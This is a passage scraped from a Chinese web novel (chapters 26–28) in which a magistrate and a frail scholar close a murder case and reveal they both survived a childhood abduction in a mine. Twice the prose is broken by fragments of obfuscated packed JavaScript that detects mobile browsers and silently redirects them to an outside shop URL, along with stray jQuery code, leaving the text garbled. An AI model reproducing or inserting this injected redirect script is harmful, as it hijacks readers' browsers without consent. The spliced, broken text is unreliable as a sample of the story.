阳光下那双眼睛被照的颜色浅了不少,是漂亮的琥珀色,剔透得很,侧面看来显得有些纤长的眼尾呈现出一种漂亮的弧度,显得整个人温柔又狡黠。 恍惚间,慕天知想到一种和他很像的小动物,赤狐,还是在网络上被艺术加工后更加貌美的模样,尤其是狐狸眼尾那一道花纹,跟此刻面前的秀才有着如出一辙的柔美。 邪是有点邪,但美也是真的美。 “秦秀才到底是饱读诗书,不会像陈茂那般是非善恶不分,不是吗?”慕天知反问道。 秦觅只是笑了笑,垂眸继续向前走着。 善恶不分?有的时候,善恶之间的界限确实很模糊。 当人面临生死抉择的时候,谁能保证自己能一定舍生取义,而不是贪恋活在世上的机会? 小烽哥哥,你曾经经历过的,现下都忘了吗? 心脏痛得有些厉害,秦觅觉得头晕,浑身乏力,伸手去掏袖子里的药瓶,但因为今日穿的大袖衫,一时间没能掏着,手臂却没了力气。 慕天知在他身前半步远的距离缓缓走着,没有注意到他的异样:“等录完陈茂的供词,我过目后,若一切无懈可击,会立刻转交三法司,届时我会先垫付一笔钱,让你们给傲霜及寒柯下葬,让他们早日入土为安。” 本以为会立刻得到响应,但迟迟没人吭声,他疑惑回头,却发现秦觅停在原地,面色苍白,身体晃了几晃,闭上眼睛向下跌去! 26. 贰拾陆 “秦秀才!” 慕天知快步迎过去,伸手将秦觅搂到了怀里。 瘦削书生身体像纸一样薄,轻飘飘的好似没有魂魄,大热的天竟双手冰凉,体温低得离谱。 慕天知当即矮身,把他往肩膀上一扛,大步流星地回到了自己的办公邸,将人小心翼翼地放在榻上。 还没把人放平,便发现对方眼角缓缓渗出泪水。 难受成这样了吗? “醒了吗?你的药呢?”他拥着秦觅的肩膀,轻声问道。 镇抚使大人此刻心软如棉,毕竟美人落泪、西子捧心这副画面实在是百炼钢都能化成绕指柔,他虽对贪官污吏冷酷无情,但到底心还是肉做的,不是真的阎罗王。 秦觅闭着眼睛,转头把脸埋在他的肩膀上,身体颤抖得明显,发出了一些轻微的声音。 慕天知:“……” 这是怎么了?怎么感觉不像是在哭? 他捏着秦觅的下巴,强迫对方仰头看自己:“你在搞什么鬼?” “大人就不能把我横着抱回来吗?背回来也行。”秦觅缓缓睁眼,哭笑不得地说,“本来是心脏剧痛,现在被你的肩膀硌得胃都要烂掉了。” 慕天知脸一黑,正要把他推开,却被人紧紧抓住了衣袖。 秦觅抬头,小声央求道:“让我靠一会儿,好不好?小烽哥哥。” 实在是难受极了,靠在别人怀里,总比像具尸体那样躺在硬邦邦的榻上要好。 这副情态太能勾起人的保护欲,慕天知没有拒绝。 俩人才相识不久,这般亲昵实在不妥,但更亲密的事情都做过,刻意保持距离反而虚伪。 他虽不发一言,但很配合地靠在卧榻的扶手处,让秦觅躺在自己怀里。 这郎中可能是被药材腌入味儿了,身上总是散发着淡淡药香,体温低得惊人,酷暑正午抱着,很有一点解暑的功效。 总之是没什么让人不适的。 慕天知垂眸看着秦觅费劲巴拉地掏袖子,掏来掏去没掏出东西,有些无奈:“找药吗?” “我记得塞进袖子里了。”秦觅虚弱地小声咕哝,在左臂袖子外边捏了捏,捏出了个药瓶的轮廓,“就在这儿,怎么够不着?” 慕天知怕他晚一会儿吃药会有什么不测,问道:“需要我帮忙吗?” “还以为你不会问呢。”秦觅抬起左臂环住他的脖颈,笑盈盈地说,“怎么这会儿又没那么主动了?” “都快噶了怎么还这么多废话。”宽松的袖子从他手腕滑落到手肘,慕天知很轻易地就能把手伸到袖筒里,找到肘部的口袋,把装药的小瓷瓶取出来。 昨夜正是自己帮他喂的药,现在算是轻车熟路,倒在手心一颗,送到他唇边。 秦觅低头,伸出舌尖,把药舔进了嘴里。 掌心被湿漉漉的舌尖蹭过,慕天知难免有点燥热,显然这秀才又不老实,于是冷着脸觑他。 秦觅轻笑道:“开个玩笑罢了,大人不会介意的,对吧?”接着又好奇地问,“什么是‘噶了’?是死了的意思吗?” 他这样环着自己,两人的脸凑得太近,太过于暧昧,慕天知便把他的脑袋按回自己的肩膀,冷声道:“我们粗人说粗话,秀才请勿见怪。” “大人天潢贵胄,哪里粗了?”秦觅闭上眼睛,忍着心口处传来的不适感,静等药丸发挥作用,“哦,有个地方——” 慕天知忍无可忍,捏住他两片嘴唇:“你给我适可而止。” 秦觅没睁眼,但还是弯了弯眼睛,脸颊往他颈侧贴了贴,隔着领子都能感受到对方温热的体温,以及有力地跳动着的脉搏。 如此富有生命力,可真让人羡慕。 仿佛多靠近一些,也能多沾染一些生机与活力似的。 此人看起来并不像是内向寡言的样子,慕天知放不下心中疑惑,开口问道:“你既与我以前相识,又渊源颇深,为何不到景国公府找我?若自报家门,说出过往,家中门房定会为你通报。还是你曾来过,被他们粗暴阻拦了?” 为何不找? 秦觅耳边恍惚响起自己稚嫩的声音。 “小烽哥哥,你一定记得去找我哦!”不见天日的山洞中,两个少年肩并肩地靠在一起,年纪小的那个脸上全是土,只露出了一双亮晶晶的眼睛,“我家在江平府广川县惠民坊的清泉巷,门口写着秦宅,家里没人的话,就直接去铺子里找,铺子在不远的松明街上,就叫秦氏杂货铺,幡旗是镶红边的,特别醒目,很好找!” 年纪大些的那个笑着摸摸他的后脑勺:“我慕烽说话,一言既出驷马难追!你不是爱吃石榴吗?等秋高气爽,我家的石榴树结了果,我必带着两大筐,还有我家厨子做的糕点去看你,到时候你一定带我在你家那边好好玩玩!我要看看小秀才念书的学堂,沾点才气,回来也能高中!” “你这么聪明勇武,定是文武双全的大才!”小秦觅眨了眨眼,兴奋道,“等我考了举人,再进京赶春闱,我们还能见面,说不定一起考呢!将来我们都金榜题名,一同做官,一同为江山社稷效力,为百姓福祉请命!” 小慕烽则莞尔道:“不必等到春闱啊,你中了举就来曜京,住在我家里,我们同吃同住同学,到时你当状元我当探花,留个榜眼的机会给别人吧!” “为什么你要当探花?”小秦觅不解道。 小慕烽哈哈大笑:“因为探花郎最英俊,非我莫属!” 秦觅还记得那时自己笑得很大声,笑得气都没喘匀,打起了嗝,半天都没好。 然而小烽哥哥从没去过自己家,仿佛一切的诺言都随风而逝。 哪怕家里的铺子已经不在,他百般央求跟接手的店主留下了自己新的住址,那个自己一直惦念的身影,只在梦中出现过。 秦觅不信慕烽会食言,坚定地认为一定是发生了什么事,直到师父放自己出来游历,一年前在曜京的大街上,跟此时已经改名为慕天知的小烽哥哥对视,看到对方那完全陌生的眼神时,才知道自己想错了。 既然对面不相识,既然看上去已经放下了前尘往事,又何必逼人再想起那段不堪的回忆呢? “都说了我只是故意套个近乎,大人怎么不信呢?”秦觅笑笑,眯着眼看他,“若真的有渊源,大人还会记不起来?” 慕天知的目光在他脸上逡巡一番,凭自己见多识广看透人心的双眼,却无法判断这秀才说的到底是真话还是假话。 他有心想说明自己的情况,却又不确定该不该说。 毕竟两人相识不久,没有必要交心。 秀才不说真心话,肯定有他自己的考量,若真的与自己原身有渊源,应当已经发现自己认不出他,脑补到了一些理由。 若自己坦白告诉他“失忆”,他恐怕只会更加失落,或者怀疑自己找理由骗他,因此而更难过。 权衡利弊,都不该多生枝节。 秦觅没等到他的回答,只是轻笑了一声,仰头在他下颌轻吻了一下:“大人何故忧心?难道觉得有过一次露水情缘,就要对我负责吗?不必有这样的负累,你未对我用强,我又是成年男子,责任自负。” “嘶——” 窗外不远处,梅淼倒吸了一口凉气,猛地推着窦家兄弟向后退了好远的距离。 直到退出了院外,窦坤才一脸莫名其妙地看着她:“梅三水,你又抽什么风?!” “我看到不该看的了!”梅淼眼睛瞪得有鸡蛋那么大,一副惊魂未定的模样,压低声音吼道,“啊啊啊啊!” 窦乾摸了摸她的额头:“没发烧啊,方才抽陈茂的时候还挺有劲儿的。” “你看见什么了?”窦坤好奇打听,“大白天难道有什么脏东西?!” 梅淼脑海中反复浮现的都是自家大人搂着那俊秀才、俊秀才还亲吻大人下颌的画面,禁不住打了个冷战。 难道小道消息是真的? 秀才跟大人之间……不是完全瞎扯? 难怪大人总不肯议亲,原来他、他好男风! 要是自己说出去,会不会被灭口?! 不能说!绝对不能说! 我还要当北镇抚司第一个女千户呢! “没看见什么,逗你们玩的!”梅淼笑嘻嘻地说。 窦乾无奈地摇摇头:“一惊一乍。” “不对劲儿,你骗人!”窦坤拉住她的胳膊,“还不快从实招来!” 梅淼一把甩开他:“真的是开玩笑!我就是看大家审完陈茂心情都不大好,逗逗闷子呗!” “你可真无聊!小心下次我再也不信你了!”窦坤转身便要往慕天知办公邸的院中去。 “哎哎哎,别急别急,咱们先去戚姐姐那边讨碗冰吃吧!”梅淼推着兄弟俩转身,“回头也给大人带一碗!” 一听吃冰,窦坤来了精神,但还是故意装作不爽:“别以为这样就能让我忘了这件事!” “你爱忘不忘!”梅淼满不在乎。 窦乾却道:“要给秦秀才带冰吗?” “不用,他身体不好,戚姐姐亲自说的。”梅淼眼珠转了转,“你们以后对他可要尊敬些。” “为什么?” “小孩子别问那么多,听我的就对了!” …… 北镇抚司办事效率很高,不过七八天的时间,这件案子的相关情况就被整理齐全,口供、证物一应俱全,包括两名嫌犯也全被转交给了刑部。 康淳帝听了慕天知汇报,认为陈茂居心叵测,背叛恩人,甚至挑唆心智不全之人犯下杀戮之罪,性质十分恶劣,着令三法司会审,尽快给出结果。 秦觅、月临以及陈茂的同乡陈东作为证人去给出了证词。 经过一番折腾,到七月末,酷暑已过,天气微微现出些凉意的时候,这件案子终于落停。 随着调查深入,秦觅也了解了更多细节。 比如陈茂并无通天本领预知何日下雨,他最初的打算是将人勒死,再溺在水缸里,谁知当天刚刚杀死傲霜,瓢泼大雨便落了下来,他才萌生用暴雨洗刷尸身的想法; 再比如,傲霜并非突然灵机一动要写下那封“遗书”,而是他去钱庄存钱时,掌柜的善意提醒了他一句,这些财产还是要有个信得过的人一同打理,他才想到给自己做了安排。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427064|200885||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我才发现,很多事其实都在冥冥中相互关联,命运或许早就给我们安排好了结局,人不能太自负可以胜过一切,活着就得时常心怀感恩——老天爷都看着呢。” 曜京郊外山中,望着眼前一片郁郁葱葱,月临心生感慨。 案子已结,陈茂和霍平分别被判斩刑与绞刑,目前被关在刑部大牢,听候皇帝亲裁。 傲霜和寒柯的尸身也能从冰窖中送出,由亲友接走处置。 秦觅和月临想让他们两个尽快入土为安,当即便雇了车,来到早就选好的两块坟前,将两人安葬。 慕天知公务缠身,没有一同前来,派了几个都衍卫和一辆马车跟着,帮他们干些力气活。 一个病歪歪的秀才,和一个才十八的小倌,哪个都不是能夯土的,别叫锄头把他们自己的脚面给刨了。 秦觅一身月白色麻衣直裰,负手站在月临身旁,看着面前两座新坟,点头道:“君子当时刻自省。” 坟墓修得不错,傲霜与寒柯本来关系也好,现在比邻而居,想必不会寂寞。 “傲霜哥哥,寒柯哥哥,你们安息吧。”月临蹲在两人坟前,在陶盆里烧着纸,含泪道,“觅哥给你们伸冤了,陈茂那个该死的混蛋也会有恶报的!希望你们快点转世投胎,投生在好人家,来世做个清清白白的人,好生过些幸福日子。” 秦觅垂眸看着他忧伤的样子,轻轻抚了抚他的后脑勺。 下山时,在马车上,他主动问起:“月临,你将来有什么打算?” 少年一副茫然模样:“我吗?不知道……虽然案子破了,但东篱院还是挺冷清的,我这个院首算是白选了,罪也白受了……” “你想离开东篱院吗?”秦觅试探道。 “离开?”月临显然是从来没想过,“我怎么离开啊?” 秦觅道:“按照傲霜的意愿,他的钱有一半捐给了庙里,剩下的一半,原本就有很大一部分是留给你赎身用的。先前我去跟东篱院的鸨母谈过,暗示你曾被当过杀人凶嫌,想必将来名声难复,让她抬抬手,少收一些,放你离开。” “她肯吗?”月临惊愕。 “我就是怕她不肯,特意借了梅淼大人来助阵,见都衍卫出马,鸨母以为是慕大人的意思,没敢不应,赎身钱也不敢多收。”秦觅认真道,“你当选院首那日,贾老爷付了三千两,早就够你的赎身钱,就算把这些年养你、训练你的费用算上,鸨母也不吃亏!” 月临似乎还难以想象这件事:“我真的可以走了吗?可我能去哪?” “你听说了吗?孙昶的妻子要与他和离,她忍了他那么多年,这次终于不想再忍下去了。她一个女子,都可以从头来过,你一个少年,有什么可怕的?”秦觅鼓励他,“扣去你赎身钱,还能剩下几百两银子,你将这些钱好好存在钱庄,先休养一阵,然后学个自己感兴趣的营生,总是能找出以后的路。” “觅哥,我想赎身,我想离开东篱院,可是我从小就被卖到这里,没过过一天普通人的日子,我、我有些害怕……”月临咬着嘴唇,一副非常为难的样子。 晃晃悠悠的马车上,秦觅轻声细语:“若你愿意,我写封信给你,你带着它去投奔我师父,换个没人知道你的地方,从头开始,如何?” “真的可以这样吗?!”月临激动地扑过来抱住他,“我愿意!觅哥,我愿意!” 秦觅欣慰地轻抚他的后背:“好好生活,我会回去看你的。” 此事既然敲定,便事不宜迟,免得鸨母变卦。 第二天秦觅便再度请梅淼陪着走了一趟,按着傲霜的遗书,给上边提到的所有人都赎了身。 鸨母只当送瘟神,没有坐地起价,干脆地拿出了这些人的卖身契,与他们银货两讫。 慕天知也很够意思,安排了两名女都衍卫送月临上路,叮嘱她们务必将人安全送到再返回。 只是这人却一直都没出现,秦觅心中有些空落落的。 此案了结,对方也没再提让自己去做幕僚的事,或许这短暂的“重逢”,就到此结束了吧? 送完月临,回到家中时,已经是夜幕初垂。 秦觅进屋,点上油灯,端着灯进了书房,从桌案下取出了一个箩筐。 筐子里是陈茂的东西,被都衍卫还有刑部反复搜查过后,认为这些没什么用,秦觅有心想研究,便带了回来。 现在总算有了时间查阅。 这一摞东西绝大多数是信笺,但有意思的是,里边的信笺上所写的,并不是普通书信内容,而是一些小孩开蒙时必读的《三字经》《千家诗》还有《千字文》等书的节选, 字体是规规整整的台阁体,毫无特色,很难从笔迹上看出写信人的任何线索。 陈茂为什么会有这些东西? 他已经算是识字的了,看这些做什么? 正当秦觅对着昏暗灯光疑惑不解时,就听外边厅房大门“哗啦”一声被人推开,还未等他反应过来,慕天知的身影便出现在了眼前。 镇抚使大人神色严峻,活像地狱来的鬼使,一把拉住他的手臂,沉声道:“十年前那宗绑架案,与你有什么关系?!” 27. 贰拾柒 绑架案。 听到这三个字,秦觅的心口狠狠地哆嗦了一下。 他缓缓抬眸,对上慕天知探究的目光,轻声笑了起来:“大人在说什么?” “你不是希望我查你吗?我查了,查得很详细。”慕天知松开他,“我派出的都衍卫查到,康淳十五年八月,你通过了江平府学政主持的院试,成为几十年来年纪最小的秀才,刚得知喜讯,便因兴奋过度昏厥,查出了心痹之症。” 秦觅垂眸,苦笑道:“连这个都有人记得?” “在家休养了一个月,身体才堪堪复原,但当年十月末,你突然失踪,不知去向。为了寻找你的下落,你的父母东奔西走,变卖家财,可惜几个月过去,连人影都没见着。”望着灯光阴影中秀才阴沉下来的神情,慕天知没有继续往下说。 根据都衍卫的调查,秦觅之父因遍寻不到儿子的下落,过度疲劳加精神恍惚,不慎坠崖,母亲得知丈夫死讯,本就因为担心爱子而孱弱不堪的她当即吐血,没过多久因心力交瘁去世,好好的一家人就此家破人亡。 谁知次年三月,秦觅又重新回到了家中,只是已经物是人非,他曾去接手他家杂货铺的店中留下了自己新的去处,此后便再没有在当地出现过。 慕天知轻声道:“此后你被丰原名医邬晟收为徒弟,定居隔壁的丰原县,直到两年前才离开,一路做游方郎中,一年前抵达曜京。” “都衍卫果然名不虚传,我的前半生都被大人查得清清楚楚。”秦觅无奈地勾了勾唇角。 十年前的一切历历在目,他无法控制地回想起那一天,他终于逃出生天,多么兴奋地一路跑回熟悉的巷子,大喊着“阿爹阿娘”,猛地推开家门,却只看到曾经绿树成荫、花团锦簇的庭院变得破败不堪,而邻居见他回来,震惊又同情地告诉他父母的死讯。 他刚从贼窟逃出命来,接着一脚踩空,落入了十八层地狱。 转瞬间,秦觅仿佛回到了那一刻,脖颈像被一双无形的手卡住,几乎快要无法呼吸。 他强装镇定,向后靠在书案上,一只手下意识地抠住了桌边。 慕天知握住他冰凉的手腕,急切地问:“十年前,易安县郊孩童绑架囚禁案,你是不是其中一个受害者?是仅存的两名幸存者之一?” “大人为何如此推断?”秦觅抬眼看他,赤红双目含着两汪将落未落的泪水。 “因为你与我有旧,而你我的生活经历全无交集,唯一的可能性就是……在那桩绑架案里!”慕天知叹息道,“我是另外一个幸存者。” 听到这句话,秦觅的眼泪终于落了下来。 他并非不记得! 可为什么—— “抱歉,我醒来时所有的事都忘了,所以才没认出你。”虽然这并不是自己的错,但慕天知看着面前这张失落又委屈的脸,依旧有些过意不去,“当时我被伤了头,被救回来之后在家中躺了半年才醒,醒后就已经失忆,甚至爹娘都不记得,不得不重新活过。” 自己是穿越者这种事很难对他解释,只能这么说。 发生这样的事,他对原身是同情的,对秦觅亦是如此。 他望着秦觅愕然的表情,带着些许歉意道:“我是真的不记得了,包括这场遭遇,也是听家人所说才知道。” 失忆了? 秦觅一时间不知道该如何反应。 他没想过竟然会是这个原因。 甚至觉得有一些离谱。 但离谱中又带着一点点合理。 记忆里的小烽哥哥不是会抛下自己不理的人,那么这个原因,倒也说得过去。 “景国公世子被绑及失忆事关重大,所以家父严锁消息,对外只说是我患上重病,才导致性情大变,除了府中老人,其他的丫鬟小厮乃至车夫全都换了一遍。”慕天知轻声解释,“我的确是没想到,当年我还会有这样一个……生死之交。” 生死之交。 心脏猛地一抽,秦觅的眼泪又要往下掉。 “你可是景国公世子,你出了事,家中没有人追查吗?你姑母是皇后,圣上又看着你长大,他们、他们已经是大鑫最有权势的人,难道都、都没能……”他声音嘶哑,心口痛得说不下去。 当时的小烽哥哥并没说清身世,或许是怕说得来头太大会吓着自己,他只自称是曜京人氏,家中有人在朝廷做官,发觉他失踪定会报官来寻。 直到后来,还是自己抵京之后,四处打听才得知,当年的慕烽,现在的慕天知,竟是这样的天潢贵胄。 慕天知扣住他的脉搏,感受到那急促的跳动,担心地在椅子上坐下,将他抱在腿上坐着:“要不要吃颗药丸?” “无妨,只是一下子有些难受,平静些就好了。”秦觅浑身无力,歪歪地靠在他的肩头。 “之所以称这案为‘易安县郊孩童绑架囚禁案’,就是因为真凶极为凶恶狡诈、胆大包天,并且计划周密、组织性极佳,就算动用都衍卫追查,也毫无线索。”慕天知低声道。 此案他虽没有亲历,但到底与自己相关,刑警DNA动了,等调养得差不多,就问父亲要了卷宗来看,对这个案子也算了若指掌。 只可惜自己没有原身的任何记忆,否则可能早就取得了进展。 秦觅想起昏暗的山洞里关着的那么多孩童,认可他的说法。 他低声道:“因为他把我们绑走关在了一起,从不曾放我们出去过,很难暴露任何线索,而且,囚禁我们的地方应该离城乡非常遥远,在山中,是吗?” “对,当年我被丢在山路边,被猎户发现,猎户上报官府后,官府从我身上佩戴的玉佩辨认出我或许非富即贵,再加上都衍卫正全大鑫寻找景国公世子,他们便迅速将情况上报,我爹亲自赶来确认了我的身份。”慕天知缓声道。 那块玉佩,秦觅有印象。 原本小烽哥哥要留给自己做信物的,但他觉得这是别人家孩子的傍身之物,自己不能要,便没有收。 幸好没收,不然他失忆了要如何自证身份? 慕天知继续道:“真凶没有留下那块价值连城的玉佩,说明他本就不为图财,甚至是有意彰显我的身份,像是故意放人。稍后都衍卫根据那位猎户的口供往山中调查,发现了一个废弃的矿井,横竖交错的矿道中……随处可见孩童的尸体,最后数出了32具,男女皆有,从8岁到14岁不等。” 说到这里,他感觉到怀里的人明显颤抖了起来。 秦觅下意识地握紧了拳头,并没有意识到自己将牙齿咬得咯咯作响,他闭着眼睛,仿佛又回到了那不见天日的地方,身体蜷缩成一团。 “秦秀才,别紧张,我在这儿,现在不是十年前,你是安全的。”慕天知温声道,握住他冰凉的手,轻轻将他的拳头展开,握在自己温热的手里,“由于我当时失忆,矿井中又没有别的活口,负责调查的都衍卫只能凭借尸检认定这些孩子是互相殴打致死,从现场残留的痕迹来看,或许是为了争抢食物才导致这个恶果,此外现场还有一些爆炸过的痕迹,但没有任何关于真凶的线索,所以这个案子一直没能取得任何进展。” 古代与现代不同,百姓的生活轨迹相对狭窄,如果真凶刻意隐藏行迹,完全可以彻底脱离社会,实在难以追查。 他继续道:“那矿井已经废弃有五十年之久,附近的百姓甚至都不知道山中还有矿井的存在,而那座山,说是位于易安县郊,但实际上两者相距少说也有百十余里,易安县不过是离它相对较近的一个县罢了。山上植被也是近些年才逐步恢复,山中并无太多生物,就连猎户打猎都很少选择那里,因此也就没人发觉那里关了那么多孩子。” “如果你是另外一个幸存者,或许凭借你的记忆,我们可以将此案告破,告慰那些孩子们的在天之灵。” “我知道强迫你回想当初的遭遇会很痛苦,但——” “无妨,我可以。”秦觅低声道,他缓缓睁开眼,看着面前慕天知的脸,挤出一抹微笑,“如果你想查,我可以和你一起查,只不过,我并非所有事都记得清。” 慕天知问道:“那你记得是怎么跑出来的吗?” “不记得。”秦觅无奈道,“但这个机会,或许是拜你所赐。” “小烽哥哥,这是什么?!” 清脆的童声响起,把他带回当时情境。 小秦觅一身破衣烂衫,灰头土脸地在狭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“那里好像不止一颗火雷,我印象中响了好几声,然后就什么都不知道了。”秦觅无奈道,“等我再醒过来的时候,已经被师父救起,躺在了客栈里。我问他有没有见过你,他说在路边发现我,旁边没有任何人。我按着他说的地方回去找,却根本不知道原本关着我们的山是哪一座,还怕被那坏人抓住,便跟着师父匆忙离开了。后来师父打听到,说当地官府也救起了一个少年,我才放了心。” 慕天知沉吟道:“你们知道其他人的存在吗?” “知道的,最开始我们大家都在一起。”秦觅垂眸道。 “怎么幕后真凶还会给你们火折子还有铲子?你们还有其他工具吗?” 秦觅觉得心口被挤压得厉害,因着呼吸不畅,深深吸了口气,缓缓呼出,撩起眼皮看着慕天知,漂亮的面容上挂着淡淡的忧伤:“那些东西,是我们两个赢来的。” 慕天知隐隐有一种很不祥的预感。 “最开始,我们三十四个人,都在同一个大的山洞——说山洞或许不严谨,我不知道该称之为什么,总之不见天日,但内里环境足够开阔,我们被关在里边,同生共死,大的孩子会自动照顾小的,男孩会主动照顾女孩,山洞里有简易的灶台和锅碗瓢盆,每天会有人送来水、米,偶尔还会有肉食,像是野兔、鸡鸭或者鱼,便由会烹饪的孩子做了,大家一同分享。” 光是说起这些,秦觅就像是耗尽了体力,他靠回慕天知的肩膀,又叹了口气,继续道:“在里边待着会不知到底过了多少时日,对我而言,漫长得像是一辈子,闲极无聊,我们甚至会教一些孩子识字。” 慕天知不希望由他陷入回忆里独自陈述,便偶尔会打断:“这是不是说明,这些孩子来自不同情况的家庭?当时找到尸体后,最后并不是所有的家庭都来认尸,有一些可能完全没有得知消息。” “对,我们会互相交流,自报家门,说出双亲的名字和家乡,包括家里是做什么的,士农工商、三教九流,什么样的家庭都有,上至身份尊贵如你,下至娼妓之子,囊括得很全面,若是有纸笔,或许能记下来。”秦觅舔了舔微微有些发干的嘴唇,“那段时间,我们相处得很好,甚至亲如一家,直到……直到他让大家自动分组,发放不同的工具,再安排每组人走进不同的巷道,告诉我们,不管遇上什么人,都要、都要杀了对方。” “只有最后获胜的一组,才能活着离开这里。” 慕天知的心脏重重一沉,这不光是绑架和囚禁,还是一场大逃杀! 28. 贰拾捌 究竟是怎样的恶魔,才会想到用这个方法对待一群孩童?! 他们当中最小的孩子才八岁! 慕天知的心情十分沉重,再看怀里复又闭上双眼的秦觅,对他的感觉有一些复杂。 内疚、歉意,还有些许心疼。 十二岁,正是三观逐渐形成的年纪,遭遇这样的浩劫,心里会留下怎样的创伤,旁人实在难以想象。 本以为他是天生有一些反社会因子,现在才知道,他不过是亲身经历过那些人性的至暗时刻! 自己的原身慕烽,在他口中善良又有责任感,怎么可能毫不犹豫地点燃火雷,不考虑身处其他巷道的孩子,原因只有一个—— 他知道他们都死了。 而这些孩子的死,或许有他们参与其中! 难怪秦觅曾经说,自己双手沾满鲜血。 但这不是他的错,是那个究极变态的真凶的错! 秦觅缓了片刻,觉得呼吸顺畅一些,继续道:“要问问我们当时都经历了什么吗?” 既然说到了当年的事,他突然有一些想要剖开胸膛的冲动,把自己的点点滴滴、好与坏全部摊开来讲,没有丝毫隐瞒,只图一个畅快。 并不是他有多么坦诚,只是怕错过这次机会,以后就什么都不敢说了。 现在小烽哥哥忘记了两人曾经共同经历的一切,他无法共情当时的遭遇,若是知道真相,还不知道会怎么看待自己。 现在摊牌最好了,免得他对自己心怀同情,多加照拂,等两人感情增厚时才发现自己配不上这些。 到时候对双方都是一种伤害。 “没必要。”慕天知一口回绝。 秦觅愕然:“为什么?难道你不想抓到真凶?” “你们这些受害人之间的经历对破案没什么帮助,只需要回忆真凶的表现就够了。”慕天知说,“能把你们三十四个孩子掳来,不是一件轻易就能完成的事,根据回忆,你能不能判断出,幕后究竟有多少人?” “很难判断,当时我俩也猜过,但猜不出来。在山洞里,会有一个声音对我们发号施令,可说话的人应该是蒙着面,听起来有些模糊,只能笃定是同一名男子,连年龄都很难推测。不过你当时说,此人至少应该在三十到四十岁,太年轻很难策划这一切,太年老又没有能完成这件事的体力。”秦觅缓缓道。 他顿了顿,又说:“山洞一角有个被小门隔开的空间,每天会有定量的食物和水放在里面,门是上下开合的,只打开两三尺高的缝隙让我们伸手进去把东西取出来。那扇门很重,我们根本撬不开。给的食物和水量并不大,大家往往吃不饱,只能勉强维持生命,所以我觉得并不需要太多人搬运。” “也就是说,不管是力气活还是需要动脑筋的事情,一个男人足够完成?” 秦觅望着慕天知,轻轻点头:“当时你也是这么认为的,或许有些难度,但一个中年男人并不是做不到,毕竟我们所有孩子都不是同时被带去的,而是轮番被送进的山洞,你是最后一个。” 能想到利用矿井巷道来做这么残忍又变态的事,能悄无声息的掳走三十四个孩子,除了古代社会的特定环境之外,想必这个人一定也极端聪明。 两世执法的生涯中,慕天知见过不少这种聪明的混蛋,他们或多或少都有一个共同点,那就是自负,而自负的人又有很多都有信任危机,能不找帮手就不找,免得被人背叛。 “可能确实只有一个人,毕竟你们都是孩子,大多数年龄较小,相对比较容易掌控,没有同伙更方便保密,不至于走漏消息。还有,一些来自社会底层的孩子,真走丢了也不会有人去找,父母只能接受这个命运。”慕天知轻声道,“等这件事结束,真凶隐入人群,不会被任何人出卖,很难追查,这也就是这桩绑架囚禁案能变成悬案的原因。” 秦觅点点头:“从我俩分别获救的情况来看,好像是他故意将我们放在路边,方便被人救出,他为什么要这么做?难道不该看我们自相残杀吗?” “这种人的心理不是我们正常人能揣测的,不必多想这些,以免被误导。”慕天知看着他昏黄灯光下白得像纸一样的脸,“你好些了吗?还难受吗?” 听到他陡然变得温柔的声音,秦觅略有些意外,忍俊不禁地笑了出来:“态度突然变得这么好,是因为知道我俩曾经有过这段前缘吗?还是因为愧疚,觉得把我忘了,对不住我?” “倒也不必过多揣摩别人的心思,你自己就是郎中,该知道思虑过度对身体不好。”慕天知摸了摸他的脉搏,果然比方才跳得慢些,心下稍安。 “小烽哥哥本来就是善良的人,哪怕现在忘记了一切,哪怕在别人看来性情大变,但我知道你还是那样的人。”秦觅环着他的肩膀,起了促狭之心,笑得有些坏,“但我俩现在好像不能单纯地做朋友了,毕竟曾经欢好过,我挺喜欢与你之间这种难以言说的感觉,觉得很有趣。” 亲密又疏离,可以使坏,可以撩拨,但又可以甩袖离开。 相处时又总会觉得开心。 这种感觉不知该用什么词来形容。 慕天知却想,喜欢搞暧昧是吗?渣男! “能不能做朋友以后再说,但我确实不是你当年的小烽哥哥,你最好别再用那时的目光看我。”他话里有话地说,抱着人站起来,转身将对方放在椅子上,“我不是有意与你保持距离,只是我忘记了所有过往,很多事无法与你共情,不想你徒增伤感。” 秦觅仰头看他,笑笑:“知道了。” 听他这么说,慕天知又觉得哪里不对,心里有点刺挠,想多说点什么,又觉得没必要废话,显得很不洒脱。 于是他道:“饿么?出去吃点夜宵,现在时间不算晚,外面应该还有不少人,我们去沾点儿人气。” 在现世也是这样,办案办得太多,那些险恶人心总会让他觉得浑身难受,须得到人群里去走走,看看安居乐业的百姓、繁华的太平盛世,想到这幅胜景有自己的一份功劳,心里会好受许多。 “确实是有些饿,那便出去转转。”秦觅也想透透气,觉得这个提议很不错。 初秋的夜晚再也没有那种极具压迫性的闷热,已经有几分清凉,秋高气爽让人觉得很是舒服。 偷偷深呼吸了几下,秦觅已觉得自己恢复了正常。 回忆过往是很痛苦,但现在有人来一起分担压在心中多年的往事,哪怕不像自己期望的那样,也是很好的。 当初决意来曜京寻找慕烽,就是抱着这样的心态,现在也算得偿所愿了。 不,好像得到得更多。 至少那夜被小烽哥哥拥在怀中骨血相溶之时,那种难以言喻的亲密和安全感,填补了十年来心口上那个大大的空洞。 我向来幸运,不是吗?秦觅默默地想。 慕天知牵着他的隐夜,缓步走在一旁,谁也没说话,只听见石板路上哒哒哒的马蹄声。 不觉得有什么不自在。 满是住户的巷子里很安静,拐上几个弯,到了街上,便有了一些喧嚣声。 胭脂巷的命案虽然才算彻底了结,但真凶归案也差不多有半个月,这边很快就恢复了夜晚的繁荣,街上行人同过去差不多,各种摊子看起来也生机勃勃。 “想吃点汤汤水水的,有什么推荐么?”慕天知问道。 秦觅张望了一下:“你还喜欢吃馄饨么?” 